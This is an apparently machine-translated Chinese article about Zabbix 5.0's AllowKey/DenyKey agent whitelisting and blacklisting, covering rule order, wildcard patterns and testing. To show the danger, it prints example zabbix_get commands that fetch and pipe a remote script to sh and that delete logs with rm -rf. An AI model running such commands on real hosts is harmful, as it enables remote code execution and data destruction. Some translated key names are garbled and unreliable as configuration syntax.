对代理端指标的黑名单和白名单支持
吉洪·乌斯科夫, 集成工程师, Zabbix
数据安全问题
Zabbix 5.0 有一个新功能,允许您使用 Zabbix Agent 提高系统的安全性并替换旧参数 启用远程命令.
基于代理的系统安全性的改进源于代理可以执行大量潜在危险操作的事实。
- 代理可以从配置文件、日志文件、密码文件或任何其他文件中收集几乎任何信息,包括机密或潜在危险信息。
例如,使用 zabbix_get 实用程序,您可以访问用户列表、他们的主目录、密码文件等。
使用 zabbix_get 实用程序访问数据
注意. 仅当代理对相应文件具有读取权限时才能检索数据. 但是,例如,该文件 /etc/passwd/ 所有用户都可读。
- 该代理还可以执行潜在危险的命令。 例如,键 *系统.运行[]** 允许您在网络节点上执行任何远程命令,包括从 Zabbix Web 界面运行脚本,这些脚本也在代理端执行命令。
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]
- 在 Linux 上,代理默认运行而无需 root 权限,而在 Windows 上,它作为系统服务运行,并且对文件系统具有不受限制的访问权限。 因此,如果安装后未对 Zabbix Agent 参数进行任何更改,则代理可以访问注册表、文件系统并可以执行 WMI 查询。
在早期版本中,参数 启用远程命令=0 只允许使用键 * 禁用指标系统.运行[]** 并从 Web 界面运行脚本,但无法限制对各个文件的访问、允许或禁用与代理一起安装的各个密钥,或者限制各个参数的使用。
在早期版本的 Zabbix 中使用 EnableRemoteCommand 参数
允许键/拒绝键
Zabbix 5.0 通过提供允许和拒绝代理端指标的白名单和黑名单来帮助防止此类未经授权的访问。
在 Zabbix 5.0 中所有键,包括 *系统.运行[]** 已启用,并且添加了两个新的代理配置选项:
允许键= ——允许的检查;
拒绝密钥= ——禁止检查;
其中 是带有使用元字符 (*) 的参数的键名称模式。
AllowKey 和 DenyKey 键允许您根据特定模式允许或拒绝单个指标。 与其他配置参数不同,AllowKey/DenyKey 参数的数量不受限制。 这使您可以通过创建检查树(可执行密钥)来清楚地定义代理在系统中可以执行的操作,其中它们的写入顺序起着非常重要的作用。
规则顺序
规则按照其输入配置文件的顺序进行检查。 在第一次匹配之前根据规则检查密钥,一旦数据元素的密钥与模式匹配,就允许或拒绝。 此后,规则检查将停止,其余键将被忽略。
因此,如果一个元素同时匹配允许和拒绝规则,结果将取决于配置文件中第一个规则。
具有相同模式和密钥的 2 种不同规则 vfs.文件大小[/tmp/文件]
AllowKey/DenyKey 键的使用顺序:
- 确切的规则,
- 一般规则,
- 禁止性规则。
例如,如果您需要访问某个文件夹中的文件,则必须首先允许访问它们,然后拒绝所有不属于既定权限范围的其他内容。 如果先使用拒绝规则,则将拒绝对该文件夹的访问。
正确的顺序
如果您需要允许 2 个实用程序通过 * 运行系统.运行[]**,并且将首先指定拒绝规则,实用程序将不会启动,因为第一个模式将始终匹配任何键,并且后续规则将被忽略。
顺序错误
图案
基本规则
模式是带有通配符的表达式。 元字符 (*) 匹配特定位置处任意数量的任意字符。 元字符既可以用在键名中,也可以用在参数中。 例如,您可以用文本严格定义第一个参数, 并将后续的一个指定为通配符.
参数必须用方括号 [] 括起来。
system.run[*
- 错误的vfs.file*.txt]
- 错误的vfs.file.*[*]
- 正确的
使用通配符的示例。
- 在键名和参数中。 在这种情况下,该键不对应于不包含参数的类似键,因为在模式中我们表明我们希望接收键名称的特定结尾和一组特定的参数。
- 如果该模式不使用方括号,则该模式允许所有不包含参数的键,并拒绝所有包含指定参数的键。
- 如果密钥写全,并且参数指定为通配符,则将匹配任意参数的相似密钥,而不会匹配不带方括号的密钥,即允许或拒绝。
参数填写规则。
- 如果要使用带参数的密钥,则必须在配置文件中指定参数。 参数必须指定为元字符。 有必要仔细拒绝对任何文件的访问,并考虑指标在不同拼写下可以提供哪些信息 - 带参数和不带参数。
带参数写入密钥的特点
- 如果使用参数指定键,但参数是可选的并且指定为元字符,则将解析不带参数的键。 例如,如果您想禁用接收有关 CPU 负载的信息并指定应禁用 system.cpu.load[*] 键,请不要忘记不带参数的键将返回平均负载值。
参数填写规则
备注
调整
- 有些规则无法由用户更改,例如发现规则或代理自动注册规则。 AllowKey/DenyKey 规则不影响以下参数:
- 主机名项目
- 主机元数据项
- 主机接口项
注意. 如果管理员禁用某个密钥,则在查询时,Zabbix 不会提供有关为何该指标或密钥属于 ' 类别的信息不支持'。 有关禁止执行远程命令的信息也不会显示在代理日志文件中。 这是出于安全原因,但如果指标由于某种原因落入不受支持的类别,则可能会使调试复杂化.
- 您不应依赖任何特定顺序来连接外部配置文件(例如,按字母顺序)。
命令行实用程序
设置规则后,您需要确保所有内容都配置正确。
您可以使用以下三个选项之一:
- 向 Zabbix 添加指标。
- 测试用 zabbix_agentd。 具有选项的 Zabbix 代理 -打印(-p) 显示除配置不允许的键之外的所有键(默认情况下允许的键)。 并带有选项 -测试(-t) 对于禁止的密钥将返回'不支持的项目密钥“。
- 测试用 zabbix_get。 公用事业 zabbix_get 有选项 -k 将返回 'ZBX_NOTSUPPORTED:未知指标“。
允许或拒绝
您可以拒绝对文件的访问并进行验证,例如,使用实用程序 zabbix_get对该文件的访问被拒绝。
**
注意. 参数中的引号将被忽略.
在这种情况下,可以允许通过不同的路径访问此类文件。 例如,如果符号链接指向它。
建议检查应用指定规则的各种选项,并考虑规避禁令的可能性。
问答
问题。 为什么选择如此复杂的模式及其自己的语言来描述规则、许可和禁止? 例如,为什么无法使用 Zabbix 使用的正则表达式?
回答. 这是一个正则表达式性能问题,因为通常只有一个代理,并且它检查大量指标。 正则表达式是一项相当繁重的操作,我们无法通过这种方式检查数千个指标。 通配符 - 一种通用、广泛使用且简单的解决方案.
问题。 包含文件不是按字母顺序包含的吗?
回答. 据我所知,如果将规则分布在不同的文件中,几乎不可能预测规则的应用顺序。 我建议将所有 AllowKey/DenyKey 规则收集在一个包含文件中,因为它们会相互交互,并包含此文件.
问题。 在 Zabbix 5.0 中,选项 '启用远程命令=配置文件中缺少',并且只有AllowKey/DenyKey可用?
回答。 恩,那就对了.
谢谢你!
来源: habr.com